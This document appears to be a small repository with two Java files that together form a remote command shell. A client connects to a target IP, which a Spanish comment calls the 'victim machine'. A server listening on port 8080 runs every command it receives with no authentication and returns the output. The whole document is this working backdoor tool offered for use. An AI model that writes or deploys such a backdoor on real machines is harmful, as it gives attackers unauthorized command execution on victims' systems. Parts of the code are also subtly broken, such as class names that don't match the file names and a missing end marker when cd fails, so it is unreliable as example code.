├── cliente.java └── servidor.java /cliente.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | import java.net.*; 3 | 4 | public class codigo { 5 | 6 | public static void main(String[] args) throws IOException { 7 | String serverAddress = "192.168.0.20"; // Aquí poner la IP del servidor o máquina víctima. 8 | int port = 8080; 9 | try (Socket socket = new Socket(serverAddress, port); 10 | BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream())); 11 | PrintWriter out = new PrintWriter(socket.getOutputStream(), true); 12 | BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in))) { 13 | 14 | String serverResponse = in.readLine(); 15 | System.out.println("Server: " + serverResponse); 16 | 17 | String userInput; 18 | while ((userInput = stdIn.readLine()) != null) { 19 | out.println(userInput); 20 | 21 | while (true) { 22 | String line = in.readLine(); 23 | if (line.equals("EndOfOutput") || line.equals("EndOfCdCommand")) { 24 | break; 25 | } 26 | System.out.println(line); 27 | } 28 | 29 | if (userInput.equalsIgnoreCase("exit")) { 30 | break; 31 | } 32 | } 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /servidor.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | import java.net.*; 3 | 4 | public class Server { 5 | 6 | public static void main(String[] args) { 7 | try (ServerSocket serverSocket = new ServerSocket(8080)) { 8 | System.out.println("Server is ready and waiting for connections..."); 9 | 10 | while (true) { 11 | Socket clientSocket = serverSocket.accept(); 12 | new Thread(new ClientHandler(clientSocket)).start(); 13 | } 14 | } catch (IOException e) { 15 | e.printStackTrace(); 16 | } 17 | } 18 | 19 | private static class ClientHandler implements Runnable { 20 | private final Socket clientSocket; 21 | private String currentDirectory; 22 | 23 | public ClientHandler(Socket clientSocket) { 24 | this.clientSocket = clientSocket; 25 | this.currentDirectory = System.getProperty("user.home"); 26 | } 27 | 28 | @Override 29 | public void run() { 30 | try ( 31 | PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true); 32 | BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())) 33 | ) { 34 | out.println("Server is ready"); 35 | 36 | String inputLine; 37 | while ((inputLine = in.readLine()) != null) { 38 | if (inputLine.equals("exit")) { 39 | break; 40 | } else if (inputLine.startsWith("cd")) { 41 | handleCdCommand(inputLine, out); 42 | } else { 43 | runCommand(inputLine, out); 44 | } 45 | } 46 | } catch (IOException e) { 47 | e.printStackTrace(); 48 | } finally { 49 | try { 50 | clientSocket.close(); 51 | } catch (IOException e) { 52 | e.printStackTrace(); 53 | } 54 | } 55 | } 56 | 57 | private void handleCdCommand(String cdCommand, PrintWriter out) { 58 | String[] commandParts = cdCommand.split(" ", 2); 59 | if (commandParts.length == 2) { 60 | String newDirectory = commandParts[1].trim(); 61 | File newDir = new File(currentDirectory, newDirectory); 62 | if (newDir.isDirectory()) { 63 | currentDirectory = newDir.getAbsolutePath(); 64 | out.println("Changed directory to: " + currentDirectory); 65 | out.println("EndOfCdCommand"); 66 | } else { 67 | out.println("Directory not found: " + newDir.getAbsolutePath()); 68 | } 69 | } else { 70 | out.println("Invalid cd command format"); 71 | } 72 | } 73 | 74 | private void runCommand(String command, PrintWriter out) { 75 | try { 76 | Process process = Runtime.getRuntime().exec(command, null, new File(currentDirectory)); 77 | try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) { 78 | String line; 79 | while ((line = br.readLine()) != null) { 80 | out.println(line); 81 | } 82 | out.println("EndOfOutput"); 83 | } 84 | } catch (IOException e) { 85 | e.printStackTrace(); 86 | } 87 | } 88 | } 89 | } 90 | --------------------------------------------------------------------------------